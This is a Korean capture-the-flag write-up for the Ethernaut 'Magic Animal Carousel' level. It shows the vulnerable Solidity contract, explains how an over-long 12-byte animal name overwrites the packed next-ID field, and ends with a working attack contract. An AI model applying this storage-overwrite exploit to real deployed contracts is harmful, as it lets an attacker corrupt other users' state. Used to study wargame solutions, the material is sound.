> For the complete documentation index, see [llms.txt](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/ethernaut/33.-magic-animal-carousel.md).

# 33. Magic Animal Carousel

\#패킹 #바이트 연산

> 환영합니다, 익명의 여행자여. 여기는 마법의 회전목마, 끝없이 회전하며 생명들이 춤추는 디지털 마법의 바퀴입니다. 이 마법의 수레바퀴 안에서, 생명체들은 끊임없이 빙글빙글 돌며 환상 속을 맴돕니다.
>
> 이 재미에 동참할 동물을 초대해보세요. 하지만 규칙을 지키지 않으면 이 마법은 무너지고 말 것입니다. 한 동물이 회전목마에 올라탔다면, 다시 확인할 때도 같은 동물이 반드시 그대로 있어야 합니다!
>
> 당신은 이 회전목마의 마법 규칙을 깨뜨릴 수 있을까요?

### **들어가기 전에**

**비트 연산**

문제에서 비트 연산 과정이 복잡하다면 foundry의 chisel을 이용할 수 있다.

<figure><img src="https://3512650551-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvLae9iTcYKyLdHhMtRVd%2Fuploads%2FBo5FyjIy3JIwHVcp2tzQ%2Fimage.png?alt=media&amp;token=1b2189e7-1a1e-4f7d-aa39-88229b4f1b29" alt=""><figcaption></figcaption></figure>

**패킹(packing)**

슬롯 하나에 여러 변수를 압축해서 저장할 수 있다.

[EVM의 스토리지 슬롯](/smartcontract-security-docs/basics/3.-evm/evm-2.md)

***

### **원본 소스 코드**

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

contract MagicAnimalCarousel {
    uint16 constant public MAX_CAPACITY = type(uint16).max;
    uint256 constant ANIMAL_MASK = uint256(type(uint80).max) << 160 + 16;  [1]
    uint256 constant NEXT_ID_MASK = uint256(type(uint16).max) << 160;      [2]
    uint256 constant OWNER_MASK = uint256(type(uint160).max);              [3]

    uint256 public currentCrateId;
    mapping(uint256 crateId => uint256 animalInside) public carousel;

    error AnimalNameTooLong();

    constructor() {
        carousel[0] ^= 1 << 160;
    }

    function setAnimalAndSpin(string calldata animal) external {  [4]
        uint256 encodedAnimal = encodeAnimalName(animal) >> 16;
        uint256 nextCrateId = (carousel[currentCrateId] & NEXT_ID_MASK) >> 160;

        require(encodedAnimal <= uint256(type(uint80).max), AnimalNameTooLong());
        carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16)
            | ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender);

        currentCrateId = nextCrateId;
    }

    function changeAnimal(string calldata animal, uint256 crateId) external {  [5]
        address owner = address(uint160(carousel[crateId] & OWNER_MASK));
        if (owner != address(0)) {
            require(msg.sender == owner);
        }
        uint256 encodedAnimal = encodeAnimalName(animal);
        if (encodedAnimal != 0) {
            // Replace animal
            carousel[crateId] =
                (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender); 
        } else {
            // If no animal specified keep same animal but clear owner slot
            carousel[crateId]= (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK));
        }
    }

    function encodeAnimalName(string calldata animalName) public pure returns (uint256) {  [6]
        require(bytes(animalName).length <= 12, AnimalNameTooLong());
        return uint256(bytes32(abi.encodePacked(animalName)) >> 160);
    }
}
```

```
[1] : 동물의 이름이 저장되는 상위 10 바이트
[2] : 다음 crate Id를 저장하는 인덱스 값 (2 bytes)
[3] : crate를 소유한 주소값 (하위 20 bytes)
[4] : 주어진 동물을 현재 위치에 저장하고 다음 위치로 인덱스(currentCrateId)를 이동시킴
[5] : 특정 crate의 동물 이름과 소유자를 변경하거나 빈 문자를 입력해 소유자를 제거함
[6] : 동물 이름을 12바이트 이하로 인코딩하여 uint256으로 반환
```

***

### **공격 시나리오**

<figure><img src="https://3512650551-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvLae9iTcYKyLdHhMtRVd%2Fuploads%2FEcpXJbgKo6jCwVBcOAXI%2Fimage.png?alt=media&amp;token=ed8bac32-e43a-4242-9819-cba4c6dd3d2e" alt=""><figcaption></figcaption></figure>

기본적으로 선언된 변수 크기는 다음과 같다.

* Animal\_Mask - 10 bytes
* Next\_ID\_Mask - 2 bytes
* Owner\_Mask - 20 bytes

encodeAnimalName에서 입력 데이터를 받아 Animal\_Mask 변수의 비트 마스킹을 진행한다. 이 값은 setAnimalAndSpin에서 동물을 등록할 때, changeAnimal에서 동물과 소유권을 바꿀 때 쓰인다.

그러나 문제는 encodeAnimalName 함수에서 12바이트 이하의 문자열을 받아 비트 마스킹을 진행한다는 점이다다. 만약 10바이트를 초과하는 값이 전달되면 Next\_ID\_Mask를 덮어쓰게 되고, 결과적으로 carousel 매핑은 다음 인덱스를 가리키지 못해 회전목마의 규칙을 깰 수 있다.

동물을 먼저 등록하게 되면 1의 CrateId를 부여받고, Next\_ID\_Mask에 2의 값이 위치하게 된다. 그리고 10바이트를 초과하는 동물이름을 changeAnimal의 인자로 전달하여 Next\_ID\_Mask를 덮어쓰게 하는 컨트랙트를 작성할 수 있다.

***

### **공격 코드**

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

interface IMagic {
  function setAnimalAndSpin(string calldata animal) external;
  function changeAnimal(string calldata animal, uint256 crateId) external;
  function encodeAnimalName(string calldata animalName) external pure returns (uint256);
}

contract Answer {
  IMagic magic;

  constructor() {
    magic = IMagic(0xAa1894aC7F3a1BaE3C918B3e88bcE113DF061E5B);
  }

  function attack() public {
    magic.setAnimalAndSpin("Dog");

    string memory exploitString = string(abi.encodePacked("abcdefghij", hex"ffff"));
    magic.changeAnimal(exploitString, 1);

    magic.setAnimalAndSpin("Exploit");
  }
}
```

***

### **‼️더 알아보기‼️**

> 당신은 회전목마의 마법 규칙을 무너뜨리는 데 성공했습니다! 저수준(low-level) 데이터 조작의 세계에서는 작은 세부사항 하나하나가 결정적인 차이를 만들 수 있습니다. 특히 저장소 슬롯을 압축하거나 조작할 때는 더더욱 정밀한 컨트롤이 요구됩니다.
